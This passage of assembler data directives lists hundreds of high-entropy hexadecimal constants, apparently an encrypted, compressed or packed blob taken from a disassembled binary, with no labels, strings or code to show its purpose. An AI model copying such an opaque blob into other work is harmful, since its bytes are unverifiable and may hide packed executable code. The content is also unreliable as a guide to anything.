0C8501117h, 4F1ED140h, 53402170h, 0DA8519B2h, 0FBE4EFFEh dd 0B80250A8h, 0E3DAACCEh, 0DE29C402h, 93CB2438h, 45AA8302h dd 30A48670h, 46C8718Eh, 0AD25B58Fh, 0C23D587Ch, 7D0247E8h dd 0C645DCCh, 4828D59h, 4D642FAh, 19E0CEFDh, 66095C7Dh dd 0EB2B8C6Ch, 8B435453h, 0D3398473h, 13D2E5A0h, 0ACFA458Ah dd 4F4E4C07h, 0B80D64EDh, 4060FC03h, 2B1F7D2Bh, 6084C134h dd 0EFC3EC5h, 7BD18144h, 0F81CCF6Dh, 48C7F8D2h, 22186F02h dd 5DE37548h, 0A9923ADh, 1BA242C7h, 3155EB18h, 6A325E60h dd 898D2E10h, 89FDDB02h, 118A25CEh, 8A09D453h, 14BE5C0Bh dd 0EF8917A5h, 0FF0501FCh, 14BC5B5Fh, 4E0FF75Ah, 0E1A056F4h dd 0E4B7983Ah, 642A746Ch, 0DBF19556h, 114D1411h, 8848FC5Ah dd 681C09F0h, 287E0D46h, 0DB2075A1h, 115DE0CAh, 0C972481h dd 0BB1D1AFCh, 25FD64D5h, 0A4383C1Ah, 9AB75607h, 0F8A30551h dd 3C2A11BAh, 1FBE882h, 94EE9BD7h, 0D620438Ch, 6EAE8D59h dd 7512CD49h, 157F4590h, 92F5C5BFh, 4F1ECBC3h, 0B8138AACh dd 0C458C468h, 0D091EFC6h, 67380E74h, 213D4112h, 7AED7CD5h dd 0CD047190h, 1A3BDE6Ch, 7BCB978Ah, 0EB056AF0h, 6798165Dh dd 0E870110h, 194CD18Fh, 0C27C063Ch, 0C3580311h, 75A08C70h dd 6CE7D102h, 985D08Ah, 75FCD908h, 567D729Ah, 6A70EB20h dd 5310E62h, 0D62B75FEh, 800F3D03h, 990E414Bh, 0A84A920Bh dd 0BECA29FEh, 0A07D8109h, 757FF0F8h, 75397F09h, 0D7166508h dd 0FF12223Ch, 2A750632h, 0F8B81795h, 0C8BA447Fh, 27DC8666h dd 1766ECB0h, 2D6BF9A4h, 7AD8F713h, 0C9507E2h, 0EB74598Eh dd 5E586E60h, 29641D5Dh dd 2C316995h, 442D3556h, 844484A0h, 0E9834990h, 7A88FD6h dd 0E746666h, 21654383h, 2B4D100Fh, 0BE933357h, 5F6F4826h dd 201AF273h, 5EF66602h, 0D118DE10h, 0B120C65h, 58039080h dd 1301683h, 0EB4E081Ah, 0DC89E751h, 99FEF0Eh, 2C5E121Bh dd 9B5182E4h, 86F617CEh, 9CA8DFA8h, 16A527EBh, 8B34E011h dd 47E48D96h, 6604F10Eh, 0FBE4025h, 8124F0BFh, 344A26EEh dd 892D18AAh, 1F15F330h, 0FE7D4D9Bh, 262C4438h, 0DB291B0Eh dd 77490FE2h, 2F758B09h, 23C84480h, 4DD569B5h, 843B0BF5h dd 6DE40E10h, 67E4477Bh, 2DAAF419h, 0A74C2E0h, 682DDB12h dd 5D9FE35Dh, 0D939B93h, 0D810B510h, 7C839112h, 6CD61BD2h dd 124DE949h, 714D442Dh, 0DEE81F72h, 1DD8DAF1h, 0EBFC8450h dd 814A19A2h, 0A4E12CD0h, 0E8097F0Bh, 11E35DAEh, 18FED88Ch dd 0F05C19B8h, 5E921Fh, 7F09E855h, 0DC99C8A3h, 4D9BFF75h dd 186D0637h, 0E71EE8F6h, 5D705820h, 53946B16h, 855EB597h dd 421814A1h, 8793D2FDh, 0F8ED8F59h, 29FB7C7Bh, 503610C4h dd 0C3D01338h, 7E52FBE9h, 0A14BA3A2h, 821C307Fh, 7490C85Fh dd 25745965h, 785E462Ch, 0FE324A5Bh, 0DDAA1505h, 0EB280EFDh dd 0BC599D0Fh, 751E90CEh, 300D8DD4h, 49B02B57h, 0E7467B0Eh dd 0C1F6BFD7h, 0B03EF30Ch, 1B95F366h, 0A915FA8Eh, 875BFE1Eh dd 4FCA3A0Ch, 148861Eh, 0F46D3D40h, 2AFD0F24h, 800D1950h dd 34656CF9h, 699D450Ah, 7720ED56h, 7B38F648h, 98FA7430h dd 13017A14h, 0AA40118Ah, 1688A40Ch, 0C24EAAF6h, 92A2C5EBh dd 0D4C0A972h, 5FA5D28Fh, 7416E628h, 5342BF1Bh, 443D30E8h dd 27A59EF1h, 8890C60h, 0F57729B5h, 449D51F0h, 1B42522Ah dd 0CDA6A09Fh, 0A43D8017h, 74C46DBCh, 1AD9EC27h, 421BA0A1h dd 1D65CC4h, 0C19F0FDBh, 83148551h, 8DC72D38h, 1C70394h dd 0E4E7E8C2h, 3806A0A3h, 2074998Bh, 1475918Ch, 6C6C5096h dd 0A19D565Eh, 50014390h, 3E839241h, 726863BBh, 0D0038E41h dd 0F972CA4Ch, 149B76B9h, 65F94C35h, 6278C638h, 147E3C40h dd 8D570D48h, 88247874h, 5EC94408h, 7016365Dh, 0BA206824h dd 950D388Ah, 0C81C7948h, 0D482CB98h, 359B92B0h, 14FD147Dh dd 0C609261Fh, 0B2704501h, 8F274148h, 45E203Ch, 3205794Bh dd 2D28DBF7h, 64FB9240h, 43117C2Dh, 5E99B08Dh, 0BEFE48F7h dd 0E1B146Fh, 2F21DAFBh, 0DB46BB0Ah, 8D52D598h, 1297ED5h dd 10C9B47Eh, 96575624h, 21A8A10Dh, 1CA7832Fh, 0E4435A2h dd 49CE509Fh, 3E210847h, 0CD3B8FA0h, 30C1508Bh, 1D665CBDh dd 2BDAADEBh, 223E0BA5h, 646ADE3Ch, 446400Ch, 0B91C303h dd 2C5696Fh, 453BF778h, 75FD8102h, 45C607h, 0D2017D8Dh dd 24DEF84Fh, 5706C910h, 809C8CE8h, 7407C691h, 12475C30h dd 4AF80312h, 1116411Dh, 1BA02476h, 7885941h, 477B0E2Fh dd 7DF685E1h, 60AF5D28h, 0DE19F715h, 3B0806EBh, 0C7F7CD9h dd 495A5378h, 306AB98Bh, 0A9171289h, 7F9B12FDh, 7197E64Ch dd 7D24BE83h, 220744B3h, 0A38BA5E3h, 9FAD824h, 0CBFA4900h dd 0F3A80D24h, 5089E96Ah, 8BEB3053h, 0E85619F1h, 9A14F45h dd 542A97A0h, 1E0F2739h, 5488C19Ch, 400B3DACh, 2D024804h dd 1582A3FCh, 2340217Ch, 0CA9A1D7Dh, 7E070A58h, 0F98E0395h dd 53FEB120h, 2FC3B92Fh, 0C64ADC41h, 14521C10h, 93082112h dd 2AF7C910h, 52C6E4F4h, 0BD4ACE05h, 2267B2F7h, 0E69B2580h dd 0C275740h, 0FCC53D87h, 0FE5248E8h, 0F1EFDF23h, 0C10968Ch dd 450D3246h, 66882CECh, 0E9136975h, 0FED439FFh, 0E57DEF09h dd 88161852h, 11EB8AE2h, 0FCED7813h, 41029A1h, 3283BDEAh dd 5F1AD685h, 0E83BD92h, 321FAF43h, 34C5040h, 544816F7h dd 515E24B7h, 3EB0765Fh, 20BF577Eh, 19930505h, 56C13E39h dd 0DF458EE8h, 41365A3h, 7E5FB066h, 6FB2C3EDh, 1C8C87h dd 0FF6A6975h, 0A665652h, 0D6030EE8h, 7D56EB63h, 8150803Eh dd 73633804h, 81AFE06Dh, 5147852h, 73096812h, 23F05749h dd 25551D40h, 0A2FF5224h, 5F561C5Ah, 0C02C85E5h, 2074D118h dd 181F52EBh, 2C240665h, 0A48E81Bh, 0F920C959h, 52312DBEh dd 800C0118h, 4098F42Fh, 0D6B8085Eh, 0D07CF085h, 413B180Dh dd 54A0478h, 53B14AEFh, 0BB088ABEh, 0E0C34880h, 3F850F1Eh dd 7E64259Dh, 563F9DA8h, 6875A158h, 96BE1651h, 0B008084Bh dd 1BE8C9A7h, 0B4B4A111h, 85E1D01Bh, 0EC37BE47h, 3B19E881h dd 555FF67Fh, 46ADA000h, 0E78EF970h, 0C8860B08h, 0DBE4703Ch dd 0D1451476h, 4A5C45AFh, 0F07D8B61h, 3A70F37Bh, 0E35729FCh dd 3F49189Fh, 8BCB98B4h, 2C5EBDD8h, 7A0FBEBFh, 7FD131A3h dd 47BF47Ch, 8BBF77EAh, 0BB2CD652h, 10CF184Fh, 0E2B57EF4h dd 403F859Ch, 47886C1h, 24124CA0h, 122A7EF8h, 37270976h dd 3B3BD911h, 9F1A3B28h, 865D2B62h, 333E395Eh, 0F416E17Fh dd 104A82DEh, 0C2F434E5h, 0FE245EEBh, 200D3958h, 2A35AA53h dd 56596081h, 2C110202h, 0E9A554h, 0E914C304h, 1555BF69h dd 54F648DDh, 6025E80Ch, 591C2905h, 0D015206Ch, 6994A88h dd 56475BF0h, 0D5EB0FA7h, 0B1A1B2E9h, 3D13BD73h, 92C825B8h dd 35B1217Ah, 79B63A18h, 0D4B21A9Eh, 73711977h, 36F4FEADh dd 1B6224ABh, 0CF031B3h, 4F733AF8h, 437C3E8Fh, 7F7C0E33h dd 1671B9F3h, 1983104Eh, 5AC2A403h, 65768F4h, 8793880h dd 83BBD04Fh, 6BA4F0C0h, 506F859Fh, 53206F78h, 0E742EA01h dd 0EB14C605h, 0ABD413A9h, 5E7493E6h, 4A66F447h, 8A788031h dd 0CAD3508Dh, 428D7E41h, 0A178044Eh, 0C0984295h, 27E85260h dd 38FEA83Dh, 6F622C0h, 0EA0FB002h, 0AC4AD707h, 14389D4Eh dd 670F01A8h, 309D090Ah, 0B8B30ED2h, 9A03892Bh, 0D30DFADh dd 0E4871828h, 0DEED640Ch, 2FF97339h, 2652E475h, 5574AF80h dd 7EC0C0B5h, 9977F405h, 2D171ECDh, 0A183FE46h, 0F0444814h dd 7F0C89A5h, 619758FAh, 0EB3E5A96h, 93AACF35h, 2FF3ECE5h dd 93B2A55Bh, 93A01341h, 37A4D055h, 0B7F03418h, 0A5EBA6EBh dd 7C3478C6h, 0BD0D4E64h, 54F3D31Ah, 9A7B370h, 71C00374h dd 44853E9h, 360DD2B9h, 8297C220h, 5111E21Ch, 7A372202h dd 92103F91h, 2C554BD2h, 39149CBh, 10E84657h, 4D5DE8F8h dd 74D86A42h, 6F603612h, 0FF05E857h, 0F1462396h, 82726C2Eh dd 8E894028h, 0C73E586h, 49101E4Ah, 2521139Ch, 570718E8h dd 0AECBC9A0h, 3CFC5ED6h, 0F1838E1h, 0D7C91CC8h, 3BD40C11h dd 5EDCCF92h, 0EB4E9294h, 450B1C13h, 20C7130Dh, 0B443E412h dd 178FE025h, 27153DEAh, 42150F28h, 6ED5FC5Dh, 0A466B153h dd 22F0AF1Eh, 64AF1526h, 41A9A56Dh, 3CE8093Ch, 0C93F5DD9h dd 6422F52Dh, 0D4E61668h, 0F49527B8h, 3697BD5Ch, 1931BFB1h dd 9244CFEBh, 0C2EE8F26h, 4689D878h, 0E42A67D8h, 0E0FC7FA3h dd 817E41F1h, 8B0E283Fh, 0B0A25027h, 0EC217E3Ch, 2897B914h dd 0C5395112h, 0A8113F9h, 0E80E74D4h, 0FB95A454h, 1F1973Bh dd 9DD45DA8h, 831975F0h, 136D7867h, 0A8DD1EEh, 3C88351Eh dd 3649E527h, 4B659550h, 412FAFF0h, 75994904h, 4CE9C3A4h dd 7A8B6B14h, 6045842Ah, 7C16E839h, 3F29B210h, 17E0CCF6h dd 92BF8B44h, 88C076F0h, 0F6973612h, 304E4CF8h, 57BF5A8Ah dd 1E22121Ch, 5EBE6ABFh, 25141688h, 97120A2Bh, 0E9226CC1h dd 131B45FBh, 0F311364h dd 5D0A521Dh, 1073104Ch, 0E4A335C6h, 0B9D06284h, 0E016D212h dd 2C4F146Ch, 0B3B04EBCh, 867E3F74h, 0BE850F04h, 78B2833h dd 30B44523h, 561908BCh, 183497EBh, 7556B0C2h, 6EE82B3Ah dd 588C9446h, 74E378C8h, 34A9417Eh, 84FA7F03h, 5C674A25h dd 66EB4360h, 28B134D2h, 42364256h, 0FA485214h, 0CA0E5028h dd 1DC53B1Bh, 401C5A04h, 50142A7Eh, 36B32347h, 47316447h dd 1FEB94ACh, 87991A58h, 5932690h, 990153C4h, 0D45227A9h dd 4C4B92BFh, 0D442DFE9h, 0F60C4B1h, 2933518Eh, 74AB51F9h dd 884B381Bh, 20119204h, 70FF51AAh, 0ABBDEAC6h, 696285D2h dd 45381D00h, 95760F0Ch, 157767A9h, 0F34F42BDh, 80013D1Bh dd 0C6030451h, 5C7CD285h, 3236200Dh, 0C3F229Eh, 16CAB90Eh dd 3DAE5EC1h, 35E43BF0h, 0C7F99D51h, 0B255FD4Ch, 1F4891C0h dd 0CAE84B6Dh, 3A95B428h, 0E3D0D037h, 29655DDDh, 30ABEB5Eh dd 0B9057592h, 18B40252h, 5D45A8E8h, 0C286A059h, 47DEAE0Ch dd 0CD21E470h, 8C3EBCA1h, 0A9B116CDh, 7EBD041h, 1F412727h dd 34409F33h, 33D024E9h, 4A885134h, 0A2A4B056h, 54D98543h dd 6938F37Ah, 0B61AF778h, 1957497Dh, 635FFE2Bh, 35BFD796h dd 58CCBCF4h, 9137E24h, 800938EBh, 93ADDE27h, 48E6AA1Fh dd 0D39FD558h, 98AEE9E5h, 0E1B60F4Eh, 0EB129C2Ch, 3668AE11h dd 35799F8Ch, 6BA5F69h, 4004EC57h, 4086AF61h, 4084A67Ah dd 248C9EE8h, 4255FB81h, 45D5287Dh, 5302802Fh, 0FFCFF6E8h dd 58200FE3h, 3A9024Bh, 42746B88h, 1FC4A0Eh, 0E5577CDAh dd 1712D02h, 3C8FC10h, 0FDBF0B49h, 0E657A21Ah, 10562108h dd 20E8A944h, 0E909FC4Ah, 1962BF2Ah, 2D50E4C4h, 7412EB65h dd 8A0DA2D5h, 324A5006h, 0CC0AC084h, 9E18CC0h, 0D8ADFD9Eh dd 360BDAEFh, 10F44775h, 0CF2E83C0h, 0C0688CFFh, 9B409F8Ch dd 0CAC6FF36h, 94E68D57h, 0A250B1Eh, 6C3511Bh, 46461163h dd 25169601h, 94FC32B1h, 12320EE5h, 0EE922C9Fh, 253E8017h dd 8D92D05h, 22CB9023h, 0E944E809h, 12F189F2h, 0F96357EAh dd 86FB0C25h, 4006E40Ah, 0C60CF4E0h, 0E01F345h, 5E8AC8D0h dd 0D1915627h, 0CE910004h, 9D0BE3FFh, 0F403B722h, 0BB9FFFF4h dd 43428CDEh, 0A0D0D0h, 0FB8365EBh, 743E7F4Eh, 2A0E5E65h dd 46F1A9E1h, 0AA554E9h, 0A305DF4h, 6737754Ch, 30EBC8FEh dd 36017E80h, 0CC52CF6h, 28C73402h, 7C232C4Fh, 0DD589FD0h dd 268344BDh, 334BF08Bh, 22ABF246h, 74685A0Ch, 0A16C0A17h dd 43317737h, 0EBF12886h, 6DF790Eh, 0BC063EBCh, 80E0414Dh dd 0F7C5A27Dh, 143466D1h, 9BBCD313h, 0D08AAA72h, 83BC0D28h dd 0E60C04C0h, 0D49191F5h, 0A07DEA4Ch, 901475E4h, 533C3788h dd 0A143459Ah, 8878AC1Ch, 76ED0414h, 0CE84015Eh, 8333CA01h dd 0FECC20CEh, 0C482C36Eh, 103A2874h, 0A14B363h, 6A0FD27Bh dd 0D2917DACh, 4B44DEB5h, 701F0B6Eh, 0E76517Eh, 0EEECAE96h dd 32E08448h, 828BF40Ah, 66C92A7Ah, 5EAC826Fh, 0A1E0C02h dd 63330542h, 22FC2C12h, 4F80364h, 6A8E3115h, 7E670C0Fh dd 0B8690A38h, 9BE3D4B6h, 45025711h, 0FD1B7ABCh, 318F864Ch dd 6A0B21E9h, 5D457064h, 0FB326EB8h, 287E422Dh, 1E90EA8h dd 85137A4Dh, 3CB58D2Bh, 3682E1F5h, 9D880E75h, 3D220B8Ch dd 950438Ah, 17752B26h, 0E84255ABh, 0E857A721h, 0A891BFCEh dd 66C6AAD8h, 732F03EBh, 9DE07083h, 0F426D972h, 7E979D5Dh dd 945C8B8h, 4884533h, 54CCB108h, 2142DCA4h, 1715A86Ch dd 88E4B0C1h, 5E52461Eh, 0BB121C70h, 0B7B41D38h, 29665775h dd 0F7235C2Ah, 0D3212A0Dh, 2A420688h, 0F36E9E46h, 1E02F20Eh dd 24E4C981h, 11E18E63h, 0D24665FBh, 2545480Ah, 1C1FE55Ah dd 0C6147639h, 8F376506h, 2DD530CBh, 5757562h, 98468684h dd 2CAC1E27h, 0A52128C9h, 2D480FACh, 1B55CD9Eh, 0CB9C10A7h dd 918512E8h, 4C989008h, 725E99A0h, 34A28DA1h, 0F6A40466h dd 3DC9905h, 15674DA0h, 26D5CC50h, 0B41214AEh, 0BE0F5082h dd 5040C862h, 899D48D4h, 360BFFA6h, 2944F4F4h, 0EC525652h dd 355248EEh, 9D5210C7h, 697EB632h, 0BFF4EAA6h, 0E94DC6B0h dd 0F4952B0Bh, 0B8701800h, 0E6BD02A3h, 5EF7F3CDh, 96DEE451h dd 0C34B11ACh, 26135186h, 3FD72474h, 32A73B26h, 85293FFAh dd 8A61EB2Ch, 87A604C3h, 8F1D2620h, 6274B8E9h, 0FED58BE3h dd 3F808E20h, 0A74ACE5Eh, 40C72711h, 9199E9AEh, 5532A867h dd 5E31ED22h, 6304423h, 0EB01F15Ch, 0C40E1159h, 368B0568h dd 7430FB19h, 32865445h, 0FF324E1Ah, 743B688Ch, 58102F67h dd 0F3C72A54h, 0CB7FDCDBh, 6F0A1E58h, 2F16E95Eh, 3A283B6Ah dd 5588384Ah, 5B30056Ah, 7201FDE9h, 59260945h, 6A85C18Ch dd 23CFEB78h, 0A6A8C810h, 0FFE809C5h, 5FE1705Dh, 8BD81E9Ch dd 1E46980Eh, 7B587D74h, 5DC6401Ah, 0B27409EAh, 0A7564762h dd 8AFE6020h, 0B1CB5B55h, 5F74F8E3h, 36B04775h, 7F077AB5h dd 57D0973Dh, 473620C0h, 7C73D13Ah, 0EBC13304h, 0AFB7C208h dd 2177D082h, 80D23341h, 0F22BF006h, 0E4CA8B46h, 0D702BDC2h dd 0EE7501B3h, 429C4072h, 0BE754E3Eh, 0B4EB9832h, 158AC844h dd 1FC18BD0h, 0A49BEBE1h, 18899ECh, 0E85A104h, 0C9D68903h dd 89E644FCh, 582D6C1Ah, 0E8D0175Eh, 0E5144FD4h, 940EC948h dd 3A599743h, 1A6584A4h, 0F5AA3D12h, 7E3240C9h, 6A32C88Bh dd 605ACB01h, 30E85D2Ch, 0C11CE2D3h, 16C003F9h, 339C0D4Ch dd 0D18509CBh, 0CF106074h, 0CCC5275h, 944194EAh, 45886191h dd 5F312CC8h, 0D2C6FF3h, 0DD03C600h, 0B2C92ECFh, 0EE2B25FFh dd 0C2086E59h, 69BC2B20h, 0ADA82E2Bh, 42FF25E1h, 41146210h dd 1A6503BCh, 77D49E02h, 72CF2DE4h, 85C0AD0h, 6BD14D12h dd 390803A3h, 0A507BAA2h, 0CE94B928h, 0A2027F21h, 45E3B2E6h dd 97860972h, 0CCECD4A0h, 0A208313h, 321260A6h, 0BAE65811h dd 0CA01F32Eh, 0E40675C2h, 938098C6h, 31AD84Eh, 3A4CEF91h dd 0E44D92D0h, 0F15DA101h, 24E3E993h, 753E8189h, 0A4952C4Fh dd 208D89FAh, 0C758FC37h, 510DC8A0h, 22174525h, 14E6A355h dd 552CD873h, 5905C7DCh, 0F446BFE8h, 0E71E8953h, 27DC207h dd 53964EE5h, 43B0EC6Ch, 0A5DA3C7h, 15756FF0h, 7D3805B8h dd 3503253h, 17566F04h, 0B488FF39h, 0D806C2DCh, 60D6BEE8h dd 112C6021h, 0D0438D87h, 411A01F6h, 5E50C11h, 24AAF0ABh dd 5C36E4B9h, 0D59DE97Eh, 0FF14CA89h, 20023921h, 84E940EDh dd 3CBBDC57h, 95E0DF4Dh, 0AFBCE1D1h, 1AE3D93Ah, 8A84C4E9h dd 0CB2230Fh, 700A3F74h, 0C5AD3AEAh, 74C6EB88h, 0A217642h dd 0E7C16C00h, 0F3FEB03h, 0D1BF3C8Dh, 4E48FF1Dh, 0C643AEA8h dd 533774B0h, 0E8856CDFh, 0BB290144h, 0DA20E414h, 571F7C8Dh dd 5884DED0h, 875C2C01h, 50015B88h, 0F7280274h, 465F8CDFh dd 0CC5C39F3h, 6113CECEh, 3329755Ah, 48D03256h, 456E5610h dd 22D0ADD8h, 10EB32DCh, 6266F33Eh, 3038F9F7h, 0ACF66AEh dd 58F29DFEh, 824DD0Ch, 0E1EACC42h, 0C47754E1h, 3BC98100h dd 24FBA7C3h, 0A8F2550Bh, 18146293h, 2CC2B719h, 50CA0E28h dd 3E1525C8h, 5DE6699Fh, 2A782262h, 457CF2FDh, 6E1FF7ACh dd 0F052449Eh, 69506CEDh, 0AF64E56h, 0C9C7305Ch, 569C4AFh dd 8B4AE746h, 0D84934FFh, 1DD07D26h, 0FE738B18h, 11A5EC0Bh dd 0FECC9ACBh, 0AC3894AFh dd 41F7B24Fh, 1CB76AB9h, 560B7657h, 90D4107Eh, 85990447h dd 5BA6C515h, 34F72169h, 0EE379833h, 253090E6h, 0E3FE07EEh dd 37E85F25h, 78E64AFFh, 0A4E097Dh, 829D6CBCh, 0FFE852C3h dd 8343815Ch, 7435177Ch, 4828BF0Fh, 88284BF0h, 4FA15632h dd 6B226A57h, 0C4A16306h, 2E1EFA12h, 98FB8612h, 7495E7D1h dd 2283C7A4h, 59F25324h, 0A06CEB27h, 0F46FBC7h, 0ADA36F8Ch dd 0D8A5BFEh, 14978FE1h, 340830FEh, 0A951D4BDh, 0E8073B9Ah dd 985AC3F6h, 7E02FF80h, 60E84601h, 0C38B9FF3h, 69FC4B8Dh dd 0E56DC024h, 0D82DA5ACh, 0F859A007h, 86D14803h, 0C2ACF03Ah dd 8D1C022Eh, 0BFFE400Ch, 112E446h, 3CC96BC8h, 40184D03h dd 0A8F00D06h, 0D04F96C9h, 0EC015F57h, 8D8740B6h, 80118C03h dd 0E57C5581h, 20343DF8h, 508FB82Bh, 45D2F424h, 4571B0BAh dd 7062DC48h, 9A192B5Ch, 68B493Ch, 7DF87891h, 65B8C14Fh dd 0A35F4E94h, 30A892DAh, 881BFD4Ah, 897549BCh, 34105F8Bh dd 1DDEAEE9h, 75EA0192h, 0D704FA02h, 0C5561759h, 7B52EF83h dd 6BC98A1h, 0E82D1040h, 0D3C1668Ch, 6C312248h, 6706C85Fh dd 4567F8Bh, 7582C2F6h, 0C5BF834h, 22F98357h, 0C1D5F314h dd 0E5E457DAh, 0BBBD3C21h, 0BF42CFA0h, 44F8A00h, 82E1805Fh dd 5CCFF9E6h, 0EECE0D06h, 7E817285h, 0FF3FF518h, 8A4E6832h dd 0F0E977C1h, 80101CC5h, 486A0E8Bh, 526FC7D1h, 0C9FA8512h dd 0AE872FE6h, 99BA0934h, 77DA05B6h, 18D7FB9Bh, 0BF353BFEh dd 0C54F6AE6h, 1FE60331h, 0FE6BC57Fh, 6BF96117h, 7367BF92h dd 508AC6F1h, 0FDB089EAh, 219EF304h, 329BF865h, 0DE9E9E7Dh dd 0CBA3CFEEh, 7502300Dh, 0F42E0A62h, 54E402Ch, 162095ECh dd 6AC6105Bh, 14F2F86h, 0C6010DD3h, 0A053044h, 70F4E2FFh dd 0B82ED74Fh, 303484F6h, 9F55FDAFh, 85FC3A97h, 59056AC2h dd 77ED0F5Dh, 89B260FCh, 1514E063h, 16713EE9h, 7EC6DF8h dd 5090358Fh, 0B4561B3h, 0B04926F1h, 0F4C0833Fh, 0AB543BC7h dd 8A043006h, 5EA8E8C8h, 77111A80h, 93D8755h, 0E10A3FB2h dd 0E2600C0Bh, 0FB240802h, 5E3D0188h, 1061C6D7h, 0CABBC803h dd 1CEF14E8h, 20D222CBh, 1A3C8A06h, 7EAE4568h, 0A00B0DA0h dd 0C6FF47B6h, 1F91E928h, 0C5394928h, 45187334h, 9212C6EBh dd 12C09490h, 0C65EEB02h, 470D3707h, 6673958Bh, 12D759CCh dd 1193C4BFh, 0AA2D1D5h, 47152D33h, 41741468h, 0A8AD5195h dd 8A133520h, 17204C5Ch, 0B008B8Fh, 31448847h, 4829EB05h dd 753E483Bh, 0FF37855Ch, 0D42EDDC8h, 9CDC18EBh, 0E842DCAEh dd 82336C4Fh, 89CC21Ah, 93A2C078h, 0D9820F3Ch, 54B7586Eh dd 0F4A9745Eh, 11933106h, 0E18802E5h, 0EF8EA42Bh, 4B0EF627h dd 9F7CA9FEh, 3B538430h, 93EF0548h, 3F73770Eh, 8B13C8D7h dd 23AA5512h, 28943C57h, 1231810Fh, 0E9664056h, 6B329E18h dd 504ACB08h, 0F3B24FEBh, 46FC184Bh, 15D3B093h, 0D9FEAC4Eh dd 79B72FF9h, 0BD1D0988h, 0F1619722h, 4DB42A07h, 0FF8D55FDh dd 9B5AC3EDh, 57902CD2h, 0E9BB9395h, 853E1077h, 9A1FBEAFh dd 1075035Dh, 0E8301118h, 0AB769F41h, 90AFC365h, 578B5B6Fh dd 0F70C66F4h, 0EE0108C2h, 447092Bh, 99112E9h, 1DD36A07h dd 63D9FAD8h, 0F0684A87h, 2BB82949h, 0C128DEFCh, 0E358DDFAh dd 95141050h, 0DA03D890h, 28748004h, 0D03BD1F0h, 0A422733Ch dd 0B3286F3Ah, 0EB422DA0h, 0BE62F16Fh, 68EF12D3h, 0C150E907h dd 0FC4F7D08h, 46BF5CF5h, 0F67FD04Eh, 0FB9A0C47h, 0F6F52D97h dd 0C4D21130h, 8552132h, 0C12B8B92h, 3D728A8Bh, 0A0B8C64Ah dd 0E3C906BCh, 9DA5776Ah, 0E8CB02FFh, 0C2B2FE7Fh, 1DABC00Fh dd 72B02A5Ah, 73128B91h, 8B38FB0Ah, 8740C86Fh, 65200D47h dd 0FC2F0A34h, 384D1132h, 70226B8h, 4C423966h, 4F2C3477h dd 5D0564EEh, 0D447C272h, 67D23E9Ah, 3E421E68h, 0ED290664h dd 0B8F8373Bh, 77C10362h, 0B75EB03Ah, 0E5A7A816h, 54F0AAE4h dd 730092C0h, 0C03AFD75h, 68535BE6h, 0BE63A067h, 9E95520Fh dd 0F794D809h, 89284E66h, 0EB20241Dh, 9842C222h, 1CA443B1h dd 1A0D3590h, 44445922h, 90A42013h, 147D0B39h, 30FF107Eh dd 9F3CD74Eh, 0F545A191h, 0BD1E44A1h, 621D2DC8h, 0F22CDC0Fh dd 9D764912h, 6F5ADD49h, 2045D354h, 0DCA132C6h, 0B47ADE6Bh dd 0B2F24E8h, 0D1B224DDh, 48FF2F8Bh, 9964153Eh, 64C0A582h dd 0EDB6DF3Bh, 8BFDD46Bh, 1FFC1B04h, 0E803241Eh, 8CFF9455h dd 0C432CBF9h, 0BDDCDC84h, 8AED1344h, 7D2E338Ch, 72E612ABh dd 748BD0DEh, 0ED55F866h, 44A36249h, 68F5A258h, 481BF24Dh dd 4B94C4A6h, 0E2708Bh, 74F73BD8h, 0D45F632h, 40667890h dd 44F21C7Eh, 0D6A03BB2h, 0DBAC1E7Fh, 222A338Fh, 47D38FE6h dd 658D1C02h, 0F2377EC8h, 0B4C82776h, 0A1843611h, 74DC6293h dd 90B42135h, 0DB25B712h, 0CFDB336h, 56B474DFh, 68AFE4CBh dd 909C748Ah, 13B0B4A0h, 6EB08C5h, 16528D66h, 0E3022068h dd 38151487h, 9BA9D7C0h, 0B3217127h, 3E6CE9C6h, 0E4EC8535h dd 0F3CCBF4Bh, 164CB188h, 2E70ACF0h, 57A72564h, 256A4E26h dd 0F33BF4C6h, 9564214h, 50C0B8D2h, 30390A20h, 3AB07274h dd 0B03D4286h, 7C271AA3h, 31C65FF1h, 0C0BE986Ah, 285524C6h dd 9EF406Ah, 0CB80BF59h, 0E87DF520h, 51A88901h, 0AA4CABF3h dd 0CC841046h, 0EF860F0Bh, 0EE6F9A44h, 81BBE814h, 8AEF4D8Dh dd 28D2E911h, 0B696DD89h, 0E908EE1Bh, 87FCC23Bh, 8826A093h dd 48BCB81h, 29EE2005h, 8D928453h, 0FAEC5234h, 41E694Ch dd 0D09E89AAh, 3B50B252h, 7406CBB8h, 1518A2Ch, 0D025EE8Eh dd 0B73867Eh, 77C73BFAh, 0FC7D00FFh, 0C5B8928Ah, 0C900843h dd 76284047h, 0CE41F538h, 7517FCACh, 2C81E2D4h, 484E908h dd 661EC172h, 0A37C15C0h, 50148D52h, 0E885ADA3h, 0B69921C6h dd 0BF798CC4h, 0E2A52170h, 0BCA35259h, 55EB3178h, 78FF7983h dd 54EA4A2Ch, 0A2469FA1h, 3D2D9348h, 0F1723321h, 90EF3856h dd 0A555902Dh, 41FB9010h, 4CC3040Ch, 0EB02AB4Eh, 1D390D09h dd 70E0ABE4h, 742E978Fh, 2398B2A9h, 0AF9403EBh, 8A25E27Bh dd 0FE935622h, 0E7989B1Bh, 25FFC1C8h, 2B6B23A0h, 9C4415FDh dd 0F608235h, 1A8537C6h, 2D254A22h, 740240A4h, 0E8833D22h dd 57FAC74Eh, 480CA20Dh, 0B84787F6h, 120CB2F8h, 1108E21Bh dd 52BF211h, 69E84009h, 0AA2B6D57h, 0BA18A9B5h, 0DD43C6D2h dd 0E67FC445h, 5141057h, 7449AA4Bh, 47E81AFFh, 6B16910Bh dd 884D187Ch, 0EC052E84h, 383A8D3h, 8AF472C6h, 85B2F245h dd 84200E82h, 571303FAh, 610B558Dh, 0E87C63B6h, 5F77C13Bh dd 0BC24E01Dh, 0B8412BA8h, 0FF032069h, 8509B912h, 0B9B913FFh dd 8AC542AAh, 6A81FFCDh, 5B5FD075h, 88E8B26Ah, 9EA0DFAh dd 2E7B098Eh, 132D34ABh, 2582F88Ah, 0BC187758h, 258AFDECh dd 1F77561Eh, 0E84335AAh, 248144DAh, 0FBC985FCh, 442822A4h dd 0C42C83B2h, 0D0B8C35Ch, 8B2D6673h, 740E0211h, 0AFB4C16h dd 5948A10h, 90913E65h, 1CEB1880h, 46740236h, 30202110h dd 80E3EBB9h, 211DA051h, 503D2182h, 49EBBF01h, 26A81693h dd 1964417Eh, 0ABC45A0Ah, 0C9C84C63h, 0E5EF20C1h, 321F4A4Ch dd 13723061h, 0E777A0Ah, 3CCE4FACh, 